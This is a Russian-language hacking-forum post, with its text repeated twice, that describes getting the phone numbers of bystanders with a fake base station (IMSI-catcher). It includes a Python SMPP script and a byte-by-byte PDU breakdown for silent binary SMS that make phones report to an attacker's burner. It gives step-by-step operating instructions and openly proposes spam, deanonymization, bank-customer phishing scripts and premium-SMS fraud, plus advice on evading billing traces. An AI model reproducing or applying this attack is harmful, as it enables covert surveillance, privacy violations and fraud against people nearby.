Пожалуйста, обратите внимание, что пользователь заблокирован
Всем хай! И снова пенетрируем мобильные телефоны окружающих )
Как получить телефонные номера всехдвуногих людей, которые осмелились вторгнуться в ваше личное пространство!?
Описываемый мною метод позволяет сопоставить уникальный идентификатор СИМ-карты (IMSI) с фактическим номером телефона (MSISDN) цели, находящейся в пределах радиуса действия фейковой базовой станции.
Для чего это может быть нужно?
Например, Вы владелец магазина и хотите узнать номера телефонов всех посетителей, чтобы разослать им целевой спам по мессенджерам.
Или напомнить о себе СМСкой с промокодом через пару дней после того как зарегистрировали данного человека в своем шопе.
Или "сдеанонить" человека, находящегося рядом - пробить по базам данных, используя его тел.номер.
Или получить номера телефонов всех посетителей банка...
Или использовать добытую информацию в целях соц.инженерии
("Здравствуйте Иван Иваныч! Вы пользовались сегодня нашим банкоматом на улице C001H4ck3r Street ?
К сожалению, сразу после того как вы ушли - ровно в 6ч 66мин в нашей системе была зафиксирована утечка информации. Вы должны срочно перевести все $ на безопасный счет, иначе злые хакеры взорвут ваш айфон
")
Или просто отправить смс с чужого телефона на свой платный номер )
Или... все зависит от вашей фантазии!
Итак, первым делом Вам понадобится IMSI-catcher (эмулятор базовой станции), позволяющий отправлять на зарегистрированные в его сети мобильные телефоны бинарные СМС.
На этом моменте я подробно останавливаться не буду, так как тема достаточно хорошо описана в интернете и вариантов тут много - osmocom, yate bts, openbts и т.д.
В качестве железа можно использовать SDR с правильной "обвязкой" или моторолу с118 с перепаяными фильтрами.
Вторая часть успеха - "левый" андроид смартфон с "левой" симкой, но обязательно рабочий (на симке должен быть положительный баланс) и способный принимать СМС.
Смысл атаки в том, что мы заставим все зарегистрировавшиеся на нашем imsi catcher'е телефоны - отправить СМСку на наш телефон, но отправить ее уже через сеть оператора - таким образом мы получим номер телефона цели с которого отправлена "контрольная" смс.
В этом нам поможет механизм Delivery Report - суть в том, что для бинарный СМС можно сконфигурировать заголовок таким образом, что при ее получении телефон будет должен отправить отчет о доставке на заданный нами номер. Конечно - пока телефон висит на фейковой сети imsi catcher'а , он не сможет этого сделать.
А вот если кетчер выключить сразу после отправки бинарной смс - телефон сделает реселект на настоящую сеть оператора и СМСка уже будет отправлена через механизмы HLR-AuC оператора!
Ловите приватный скрипт на Python'е для отправки такой СМСки:
Разберем подробнее.
Этот скрипт отправляет бинарное СМС сообщение через интерфейс SMPP фейковой базовой станции, со следующими байтами информации:
010007919 32350591211 0026 44 0c919 32390026xxxx 7ff6117042711404e113 0270 00000e0d 0021 0000b20000aabbccddee00
где:
32350591211 - Номер смс- центра
44 - Тип сообщения - SMS-DELIVER
32390026xxxx - Тел.номер куда прислать отчет о доставке
0270 - SIM toolkit security header
0021 - SIM toolkit security parameter indicator
aabbccddee - любая информация. Нужна для того чтобы пакет данных имел правильный размер.
Сюда Вы можете вписать например уникальный идентификатор цели - последние 4 цифры IMSI и т.п.
Методика работы - включаем базовую станцию, ждем когда на ней зарегистрируются нужные абоненты.
Вопрос настройки БС, редиректора и прочего в рамках этого сообщения я не рассматриваю.
Нужно сделать так чтобы абоненты на ней регистрировались )
После получения нужного числа абонентов - присваиваем им уникальные номера внутри нашей БСки.
Далее рассылаем на эти номера бинарные СМС командой python3 sms.py 79161234567 123
где 7916... - номер телефона куда придет ответная смс
123 - уникальный номер абонента внутри нашей БСки
Нужно отправить все сообщения в течении максимум 5 секунд (делать это нужно разумеется не вручную, а специально написанным скриптом). После чего выключите питание передатчика базовой станции.
Через 10 секунд на Ваш телефон (791612345678) начнут приходить ответные бинарные СМС от счастливых получателей Вашего месседжа.
Но, так как ответные СМС тоже бинарные - в инбоксе вы их не увидете, но можно прочитать любой программой, показывающей RAW PDU SMS (много готового опенсорса на гитхабе). В тексте этой смски будет код aabbccdd (или тот id который вы впишите), а отправлена она будет с номера телефона цели
Телефон-цель не покажет ничего на экране, но факт отправки смс на ваш номер будет зарегистрирован в биллинге оператора, поэтому если дело вдруг дойдет до практических экспериментов - будьте осторожны и не используйте в качестве телефона-индикатора свой собственный телефон.
Разумеется, все вышесказанное можно тестировать только в клетке Фарадея, используя свои телефоны и надев шапочку из фольги (если шапочка сильно нагревается - рекомендуется уменьшить мощность передатчика).
Как получить телефонные номера всех
Описываемый мною метод позволяет сопоставить уникальный идентификатор СИМ-карты (IMSI) с фактическим номером телефона (MSISDN) цели, находящейся в пределах радиуса действия фейковой базовой станции.
Для чего это может быть нужно?
Например, Вы владелец магазина и хотите узнать номера телефонов всех посетителей, чтобы разослать им целевой спам по мессенджерам.
Или напомнить о себе СМСкой с промокодом через пару дней после того как зарегистрировали данного человека в своем шопе.
Или "сдеанонить" человека, находящегося рядом - пробить по базам данных, используя его тел.номер.
Или получить номера телефонов всех посетителей банка...
Или использовать добытую информацию в целях соц.инженерии
("Здравствуйте Иван Иваныч! Вы пользовались сегодня нашим банкоматом на улице C001H4ck3r Street ?
К сожалению, сразу после того как вы ушли - ровно в 6ч 66мин в нашей системе была зафиксирована утечка информации. Вы должны срочно перевести все $ на безопасный счет, иначе злые хакеры взорвут ваш айфон
Или просто отправить смс с чужого телефона на свой платный номер )
Или... все зависит от вашей фантазии!
Итак, первым делом Вам понадобится IMSI-catcher (эмулятор базовой станции), позволяющий отправлять на зарегистрированные в его сети мобильные телефоны бинарные СМС.
На этом моменте я подробно останавливаться не буду, так как тема достаточно хорошо описана в интернете и вариантов тут много - osmocom, yate bts, openbts и т.д.
В качестве железа можно использовать SDR с правильной "обвязкой" или моторолу с118 с перепаяными фильтрами.
Вторая часть успеха - "левый" андроид смартфон с "левой" симкой, но обязательно рабочий (на симке должен быть положительный баланс) и способный принимать СМС.
Смысл атаки в том, что мы заставим все зарегистрировавшиеся на нашем imsi catcher'е телефоны - отправить СМСку на наш телефон, но отправить ее уже через сеть оператора - таким образом мы получим номер телефона цели с которого отправлена "контрольная" смс.
В этом нам поможет механизм Delivery Report - суть в том, что для бинарный СМС можно сконфигурировать заголовок таким образом, что при ее получении телефон будет должен отправить отчет о доставке на заданный нами номер. Конечно - пока телефон висит на фейковой сети imsi catcher'а , он не сможет этого сделать.
А вот если кетчер выключить сразу после отправки бинарной смс - телефон сделает реселект на настоящую сеть оператора и СМСка уже будет отправлена через механизмы HLR-AuC оператора!
Ловите приватный скрипт на Python'е для отправки такой СМСки:
Python:
#!/usr/bin/env python3
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import smpplib.gsm
import smpplib.client
import smpplib.consts
def send_message(source, dest):
client = smpplib.client.Client('127.0.0.1', 2775)
client.set_message_sent_handler(
lambda pdu: sys.stdout.write('sent {} {}\n'.format(pdu.sequence, pdu.message_id)))
client.set_message_received_handler(
lambda pdu: sys.stdout.write('delivered {}\n'.format(pdu.receipted_message_id)))
client.connect()
client.bind_transceiver(system_id='OSMO-SMPP', password='1234')
string = '\x02\x70\x00\x00\x0e\x0d\x00\x21\x00\x00\xb2\x00\x00\xaa\xbb\xcc\xdd\xee\x00'
coding = 0xf6
pdu = client.send_message(
msg_type=smpplib.consts.SMPP_MSGTYPE_USERACK,
source_addr_ton=smpplib.consts.SMPP_TON_INTL,
source_addr_npi=smpplib.consts.SMPP_NPI_ISDN,
source_addr=source,
dest_addr_ton=smpplib.consts.SMPP_TON_INTL,
dest_addr_npi=smpplib.consts.SMPP_NPI_ISDN,
destination_addr=dest,
short_message=string,
data_coding= sms_cod,
protocol_id = 0x41,
esm_class=smpplib.consts.SMPP_GSMFEAT_UDHI,
registered_delivery=False,
)
if __name__ == "__main__":
source = sys.argv[1]
dest = sys.argv[2]
send_message(source, dest)
Разберем подробнее.
Этот скрипт отправляет бинарное СМС сообщение через интерфейс SMPP фейковой базовой станции, со следующими байтами информации:
010007919 32350591211 0026 44 0c919 32390026xxxx 7ff6117042711404e113 0270 00000e0d 0021 0000b20000aabbccddee00
где:
32350591211 - Номер смс- центра
44 - Тип сообщения - SMS-DELIVER
32390026xxxx - Тел.номер куда прислать отчет о доставке
0270 - SIM toolkit security header
0021 - SIM toolkit security parameter indicator
aabbccddee - любая информация. Нужна для того чтобы пакет данных имел правильный размер.
Сюда Вы можете вписать например уникальный идентификатор цели - последние 4 цифры IMSI и т.п.
Методика работы - включаем базовую станцию, ждем когда на ней зарегистрируются нужные абоненты.
Вопрос настройки БС, редиректора и прочего в рамках этого сообщения я не рассматриваю.
Нужно сделать так чтобы абоненты на ней регистрировались )
После получения нужного числа абонентов - присваиваем им уникальные номера внутри нашей БСки.
Далее рассылаем на эти номера бинарные СМС командой python3 sms.py 79161234567 123
где 7916... - номер телефона куда придет ответная смс
123 - уникальный номер абонента внутри нашей БСки
Нужно отправить все сообщения в течении максимум 5 секунд (делать это нужно разумеется не вручную, а специально написанным скриптом). После чего выключите питание передатчика базовой станции.
Через 10 секунд на Ваш телефон (791612345678) начнут приходить ответные бинарные СМС от счастливых получателей Вашего месседжа.
Но, так как ответные СМС тоже бинарные - в инбоксе вы их не увидете, но можно прочитать любой программой, показывающей RAW PDU SMS (много готового опенсорса на гитхабе). В тексте этой смски будет код aabbccdd (или тот id который вы впишите), а отправлена она будет с номера телефона цели
Телефон-цель не покажет ничего на экране, но факт отправки смс на ваш номер будет зарегистрирован в биллинге оператора, поэтому если дело вдруг дойдет до практических экспериментов - будьте осторожны и не используйте в качестве телефона-индикатора свой собственный телефон.
Разумеется, все вышесказанное можно тестировать только в клетке Фарадея, используя свои телефоны и надев шапочку из фольги (если шапочка сильно нагревается - рекомендуется уменьшить мощность передатчика).